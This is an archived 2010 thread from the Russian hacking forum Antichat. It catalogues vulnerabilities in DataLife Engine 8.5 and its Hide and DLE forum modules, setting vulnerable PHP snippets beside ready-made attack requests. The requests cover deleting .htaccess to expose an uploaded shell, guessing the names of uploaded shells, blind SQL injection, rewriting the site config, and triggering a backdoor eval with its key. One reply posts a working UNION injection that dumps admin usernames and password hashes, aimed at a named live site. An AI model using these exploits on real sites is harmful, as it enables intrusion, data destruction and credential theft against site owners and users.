Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей DataLife Engine ] (https://forum.antichat.xyz/showthread.php?t=52195)

wildshaman 15.06.2010 12:36

Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5)


Везде далее:
1){ВАШ ЮЗЕР ХЕШ} - уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет
2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Удаление произвольных файлов
Зависимость: Нужны админские права
Файл: /engine/inc/files.php
Кусок кода:
PHP код:

if( $action == "doimagedelete" ) {
    foreach ( 
$_POST['images'] as $image ) {
        @
unlink$config_path_image_upload $image );
        @
unlink$config_path_image_upload "thumbs/" $image );
    }


Как осуществить:
Залогинившись админом, послать post запрос:
http://site.com/admin.php?mod=files

images%5Bboxsmall.jpg%5D=../uploads/files/.htaccess&action=doimagedelete&userdir=&user_hash= {ВАШ ЮЗЕР ХЕШ}

Смысл:
1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба :)
2) Можно помешать работе сайта, удалив важыне файлы.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: раскрытие префикса БД.
Зависимость: Права журналиста или администратора (любой доступ в админку)
Файл: /engine/inc/files.php
Кусок кода:
PHP код:

$serverfile trimhtmlspecialcharsstrip_tags$_POST['serverfile'] ) ) );
$image_name $serverfile;
if( 
$config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_file_upload'] and $_REQUEST['action'] == "quick" and (in_arraystrtolower$type ), $allowed_files ) or $serverfile != '') )
$db->query"INSERT INTO " PREFIX "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" ); 

Как осуществить:
Залогинившись админом, послать post запрос:
http://hackhack/admin.php?mod=files&action=quick&subaction=upload

images_number=1&serverfile=\

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки
Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку
Файл: /admin.php?mod=files
Кусок кода:
PHP код:

$file_prefix time() + rand1100 );
$file_prefix .= "_";
@
copy$imageurlROOT_DIR "/uploads/files/" $file_prefix $image_name 

Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгр зили

Отсылаем файл, снифаем, что вернул сервер:
Date: Mon, 14 Jun 2010 07:35:04 GMT

делаем себе
PHP код:

for($i=0$i<=100$i++)
{
    
$name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i;
    echo 
$name."<br>";


Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Blind-sql
Зависимость: magic_quotes_gpc = off и админские права
Файл: /engine/ajax/clean.php
Кусок кода:
PHP код:

if ($_REQUEST['step'] == 2) {
    if ((@
strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == ""))
        
$_REQUEST['step'] = 1;
    else {
        
$_REQUEST['step'] = 3;
        
$sql $db->query("SELECT id FROM " PREFIX "_post WHERE date < '{$_REQUEST['date']}'");
        while(
$row $db->get_row($sql)){
            
$db->query("DELETE FROM " PREFIX "_comments WHERE post_id='{$row['id']}'"); 

Как осуществить:
http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2

P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE :( Кому надо - тот докрутит ;)

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Версии ДЛЕ ДО 8.5
Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку
Зависимость: Доступ в админку хотя бы с правами журналиста
Файл: /engine/inc/options.php
Кусок кода:
PHP код:

elseif( $action == "dosavesyscon" ) {
    $save_con = $_POST['save_con'];
    $save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) );
    $save_con['offline_reason'] = str_replace( '"', '&quot;', $parse->BB_Parse( $save_con['offline_reason'], false ) );
    
    $find[] = "'\r'";    $replace[] = "";    $find[] = "'\n'";    $replace[] = "";
    $handler = fopen( ENGINE_DIR . '/data/config.php', "w" );
    
    fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" );
    
foreach ( $save_con as $name => $value ) {
        if( 
$name != "offline_reason" ) {
            
$value trimstripslashes$value ) );
            
$value htmlspecialchars$value);
            
$value preg_replace$find$replace$value );
            
            
$name trimstripslashes$name ) );
            
$name htmlspecialchars$nameENT_QUOTES );
            
$name preg_replace$find$replace$name );
        }

        
fwrite$handler"'{$name}' => \"{$value}\",\n\n" );
    
    }
    
fwrite$handler");\n\n?>" );
    
fclose$handler );
}

Как осуществить:
Авторизовавшись в админке, делаем POST запрос
http://site.com/admin.php?mod=options&action=syscon
save_con%5Bhome_title%5D=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash= {ВАШ ЮЗЕР ХЕШ}

причем настроек поменять можно множество вплоть до оотключения сайта ;)

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: раскрытие путей
1) Требуется админка
http://site.com/admin.php?mod=static&search_field[]=

2) Админка не требуется, праа Юзерские

http://site.com/?do=addnews
POST
tags[]=1&mod=addnews


http://site.com/index.php
POST
login=submit&login_password[]=1

---------------------------------------------------------------------------------------------------------------------------------------------------
(c) wildshaman 2010. Special for Antichat

wildshaman 17.06.2010 18:06

Модуль Hide v.4.2 для DLE
Описание: выполнение произвольного кода (бекдор оставил автор)
Зависимость: аккаунт юзера
Файл: engine/modules/hide_news.php
Кусок кода:
PHP код:

if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); } 

key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968

Как осуществить:
http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbyg pOw==
Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо)

DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:
PHP код:

if (intval($tid))
$row_topic $db->super_query("SELECT * FROM " PREFIX "_forum_topics WHERE tid = $tid"); 

Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]

.:[melkiy]:. 17.06.2010 19:44

Цитата:

Сообщение от wildshaman
DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:
PHP код:

if (intval($tid))
$row_topic $db->super_query("SELECT * FROM " PREFIX "_forum_topics WHERE tid = $tid"); 

Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]

можно пример? :)

Nightmarе 17.06.2010 19:51

Цитата:

Сообщение от .:[melkiy]:.
можно пример? :)

Пример:
Код:

http://site.ru/?do=forum&showtopic=54%2527+union+select+1,2,CONCAT_WS%280x3a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group%20=1+limit+1
Живой пример на сайте:
Код:

http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group%20=1+limit+1
Логин + хеш можно наблюдать в заголовке <TITLE>

Да, на многих сайтах колонок где больше где меньше, если появляется сообщение:
The used SELECT statements have a different number of columns
Значит надо либо добавлять, либо убавлять циферки.

.:[melkiy]:. 17.06.2010 20:03

У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.

Цитата:

Сообщение от Nightmarе
Живой пример на сайте:
Код:

http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group%20=1+limit+1

http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html

Параметры совсем разные...

Nightmarе 17.06.2010 20:05

Цитата:

Сообщение от .:[melkiy]:.
У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.



http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html

Параметры совсем разные...

ок, не заметил, жаль. Щас эту попробую.

RulleR 18.06.2010 13:26

Цитата:

Сообщение от wildshaman
DLE forum 2.5
(дырявый, как сито)
Описание:
sql-инъекция
Зависимость:
-
Файл:
engine/forum/sources/showtopic.php
Кусок кода:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]intval[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tid[/COLOR][COLOR="#007700"]))

[/
COLOR][COLOR="#0000BB"]$row_topic[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]super_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"_forum_topics WHERE tid =[/COLOR][COLOR="#0000BB"]$tid[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR

Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]

Не понятно, как здесь возможна инъекция, если переменная $tid проходит через intval()?

попугай 18.06.2010 13:39

Цитата:

Сообщение от RulleR
Не понятно, как здесь возможна инъекция, если переменная
$tid
проходит через
intval()
?

очевидно, что неправильно интвалят.

Нужно так

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$tid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]intval[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tid[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR


Pashkela 18.06.2010 13:42

Цитата:

Сообщение от RulleR
Не понятно, как здесь возможна инъекция, если переменная
$tid
проходит через
intval()
?

if (intval($tid)) - думаю тут уязвимое место, т.к. не явно интвалица, а проверяется условием, сооветственно такое 1gsdkjgfdsk - прокатит, проверочный код:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR

Причем дыра старая и известна уже давно

RulleR 18.06.2010 14:00

Посмотрел исходники этого скрипта (dle forum 2.5 final nulled by pigini)

/engine/forum/sources/showtopic.php

PHP код:

[COLOR="#000000"]1: [COLOR="#0000BB"][/COLOR][COLOR="#0000BB"]super_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"_forum_topics WHERE tid =[/COLOR][COLOR="#0000BB"]$tid[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]/*...*/

[/COLOR][COLOR="#0000BB"]537[/COLOR][COLOR="#007700"]: }

[/
COLOR][COLOR="#0000BB"]538[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 

думаю видно, что переменная $tid в любом случае проходит через intval()


Время: 22:01